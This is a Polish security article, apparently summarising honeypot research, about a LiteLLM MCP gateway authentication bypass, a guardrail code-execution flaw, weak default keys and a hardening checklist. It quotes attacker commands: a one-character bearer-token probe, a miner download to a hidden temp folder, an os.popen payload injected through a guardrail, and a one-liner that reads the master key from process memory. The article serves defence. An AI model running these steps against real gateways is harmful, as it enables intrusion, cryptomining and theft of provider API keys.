Strona główna / Artykuły

Jak token o długości jednego znaku umożliwił dostęp do bramy MCP w LiteLLM

Honeypoty złapały atakujących, którzy wykorzystywali obejście autoryzacji LiteLLM MCP oraz błąd w wykonywaniu kodu. Poniżej znajduje się łańcuch ataku oraz sześcioskładnikowa lista kontrolna w celu wzmocnienia zabezpieczeń.

Wydawca: REACTAPP.TOP5 min czytania1076 słów

Źródła: A One-Character Bearer Token Was Enough to Break Into LiteLLM’s MCP Gateway

W ciągu 90 dni firma Wiz Research uruchomiła serwery przynętowe wzorowane na rzeczywistych narzędziach AI, takich jak LiteLLM, Flowise, LangChain, Langflow, ChromaDB, Ollama, OpenWebUI i Node-RED, oraz rejestrowała, kto próbuje nawiązać połączenie. Rzeczywiście pojawiły się ataki. Głównym problemem nie był błąd typu zero-day, lecz błąd w mechanizmie obsługi błędów w protokole Model Context Protocol (MCP) używanym przez LiteLLM, który interpretował tekst „Nie rozpoznaję tego tokena” jako „Ten token jest w porządku”. Wystarczył token o długości jednego znaku, aby uzyskać dostęp. LiteLLM to popularny gateway umożliwiający aplikacjom komunikację z kilkoma dostawcami modeli przez jeden endpoint, dlatego zespoły go używające powinny przeznaczyć na to dziesięć minut.

Ominięcie poprzez jeden znak

Błąd ten jest odnotowany jako CVE-2026-59822. Koniec MCP w LiteLLM ma za zadanie zweryfikować token Bearer przed otwarciem dostępu do każdego serwera MCP połączonego z organizacją, takiego jak Jira, Slack, bazy danych wewnętrzne oraz pipeline’y CI/CD. W przypadku tego błędu token, który nie przeszedł standardowej weryfikacji LiteLLM, spowodował błąd 401; kod przechwycił ten błąd i zwrócił pusty obiekt autoryzacji. Pusty nie oznacza odmowy – oznacza, że autoryzacja nastąpiła jako „nikt konkretny”, a warstwa MCP to zaakceptowała.

Zapytanie wysłane przez atakujących było tak małe, jak tylko to możliwe:

# this is roughly what attackers were sending
curl -H "Authorization: Bearer a" https://your-litellm-host/v1/models

Jeśli odpowiedź zawierała nagłówek mcp-session-id, sesja była otwarta, umożliwiając dostęp do wszystkich narzędzi MCP, do których mogł się dostąpić proxy, przy braku ważnych uprawnień. Honeypoty rejestrowały próby nawiązania połączenia w czasie rzeczywistym, a ten problem trafił na listę znanych wykorzystanych luk bezpieczeństwa CISA.

Od otwartej sesji do minera kryptowalut

Sama otwarta sesja MCP była już problemem, ale atakujący łączyli ją z innymi metodami ataku. Wiz udokumentował sposób obejścia bezpieczeństwa, który prowadził do CVE-2026-42271 – błędu typu injection poleceń w punktach końcowych testowych i konfiguracyjnych MCP, przy którym sfałszowana konfiguracja serwera powodowała wykonywanie niebezpiecznych podprocesów. Schemat ataku był prosty: rejestrowano fałszywą konfigurację MCP, która uruchamiała polecenia do pobrania i wykonywania minera kryptowalut, a następnie usuwano katalog tymczasowy, aby zwykłe polecenie ls nic nie pokazywało. Typowy krok pobierania wyglądał w ten sposób:

python3 -c "import urllib.request; urllib.request.urlretrieve(url, '/tmp/.dbus-cache/m.zip')"

Część tych działań była powiązana z grupą ransomware Qilin. Zwyczaje unikania wykrycia są ważniejsze niż numery CVE. Minerzy byli umieszczani w katalogu /tmp/.dbus-cache/, pliki binarne były przemieniane na nazwy takie jak unicorn, a w jednej z kampanii payload został umieszczony w katalogu /app/data/.claude/ – folderze utworzonym tak, by przypominał katalog konfiguracyjny Claude Code – aby wyglądało to jak standardowe narzędzie, a nie intruzja.

Drugi błąd: wykonywanie kodu przez mechanizmy ochronne

LiteLLM miał oddzielny, równie poważny problem, CVE-2026-59821, związany z dostosowanymi zasadami bezpieczeństwa. Ta funkcja umożliwia administratorom przesyłanie fragmentów kodu w Pythonie, które sprawdzają przychodzące żądania. Koniec punktu przesyłania kodu kompilował i wykonywał ten fragment za pomocą exec(compile(...)), pozostawiając nienaruszony obiekt __builtins__ i umożliwiając dowolne importy. Sesja administracyjna lub sesja nieautoryzowana, jak opisano dalej, mogła w ten sposób zarejestrować fałszywą zasadę bezpieczeństwa, na przykład:

import os
_cmd = os.popen('id').read().strip()

i otrzymuje wynik wykonywania polecenia z powrotem w polu block-reason w późniejszej odpowiedzi. Wersja 1.82.0 naprawia ten problem poprzez wymuszenie roli admina na punktach końcowych guardrail oraz poprzez usunięcie __builtins__ przed kompilacją. Przy starszej wersji naprawa jest pilna, ponieważ następny problem pogorszy sytuację.

Domyślna konfiguracja, która umożliwiła działanie

Cechą, która sprawia, że to jest incydent, a nie zwykłe naprawienie: przy braku ustawionej klucza głównego LiteLLM traktował każdego użytkownika jako PROXY_ADMIN. Nie była to dostępność tylko do odczytu ani ograniczona. Był to pełny dostęp administratora, włączając punkt końcowy guardrails, a wiele instancji nigdy nie ustawiało takiego klucza. Gdy badacze skanowali publiczne instancje, około jedna na dziesięć (9,6% z 3 074) nadal używała standardowego klucza sk-1234 lub w ogóle nic nie sprawdzała. Dodając omijanie mechanizmu MCP oraz błąd w wykonywaniu funkcji guardrails, powstało kilka niezależnych, łatwych sposobów na dostęp do jednej maszyny.

Szukanie pamięci, a nie plików

Wiz nazywa to dalsze działanie „AI-native post-exploitation”, a ta specyficzna dla AI część to właśnie to, czego szukali atakujący po uzyskaniu dostępu do systemu. Dążyli do pamięci bieżącego procesu, a nie do plików na dysku:

python3 -c "import litellm; import litellm.proxy.proxy_server as ps; print('master_key:', getattr(ps, 'master_key', None))"

Ta jedna linia odczytuje główny klucz proxy’u bezpośrednio z pamięci, bez dostępu do dysku. Następnie intruzi wymienili ścieżki konfiguracji, takie jak /app/litellm_config.yaml i ~/.litellm/config.yaml, ustalili, jakie modele backendowe są podłączone, i wybrali cele na podstawie tego, do czego może dotrzeć proxy. Taki bramkarz jest cenniejszy niż zwykły serwer aplikacji. Dane telemetryczne Wiz pokazały, że jeden proxy często przechowuje jednocześnie klucze do OpenAI, Anthropic, Azure OpenAI i Gemini, więc jeden odczyt z pamięci ujawnia informacje o czterech dostawcach.

Lista kontrolna zamiast numerów CVE

  1. Sprawdź wersję. LiteLLM 1.84.0 lub nowsza naprawia problem obejścia mechanizmu MCP, a 1.82.0 lub nowsza naprawia błąd w wykonywaniu zasad bezpieczeństwa. Jeśli jesteś w tyle z obiema wersjami, zaplanuj popołudnie na aktualizację.
  • Potwierdź, że istnieje prawdziwy klucz główny. Nie powinien to być sk-1234 ani pusty. Uruchom echo $LITELLM_MASTER_KEY i upewnij się, że nie jest to domyślna wartość z tutoriali wklejona dawno temu.
  • Wyślij swój własny token Bearer do swojego endpointu MCP, tak jak zrobili to atakujący. Odpowiedź 200 z identyfikatorem sesji zamiast 401 oznacza, że nadal jesteś narażony niezależnie od wersji, więc sprawdź, czy patch zadziałał.
  • Zbadaj, kto posiada PROXY_ADMIN. Po zastosowaniu patcha domyślną rolą staje się INTERNAL_USER, ale istniejące implementacje nie są automatycznie obniżane do tej roli, więc ręcznie sprawdź przydziały ról.
  • Ogranicz dostęp serwerów MCP. Jeśli jeden zestaw uprawnień umożliwia bramie dostęp do Jira, Slacka, bazy danych oraz systemów CI, to właśnie to stanowi prawdziwy czynnik powiększający szkody. Ogranicz ten dostęp za pomocą zasad IAM opartych na zasadzie minimalnych uprawnień oraz reguł wyjścia, niezależnie od tego, czy zainstalowałeś już poprawki.
  • Monitoruj zachowanie w trakcie działania, a nie tylko logi. Kampanie typu honeypot objawiały się dziwnościami w strukturze procesów, takimi jak tworzenie przez proxy w Pythonie plików z kodem curl lub python3 -c, częściej niż w jakichkolwiek logach dostępu.
  • Brama AI zasługuje na traktowanie jako prawdziwy skarbiec uprawnień, a nie jako prosty proxy ustawiony raz i zapomniany. Błąd autoryzacyjny nie był niczym egzotycznym – była to instrukcja try/except, która pochłaniała niewłaściwy błąd, a atakujący już wykorzystali to w praktyce.

    Literatura pokrewna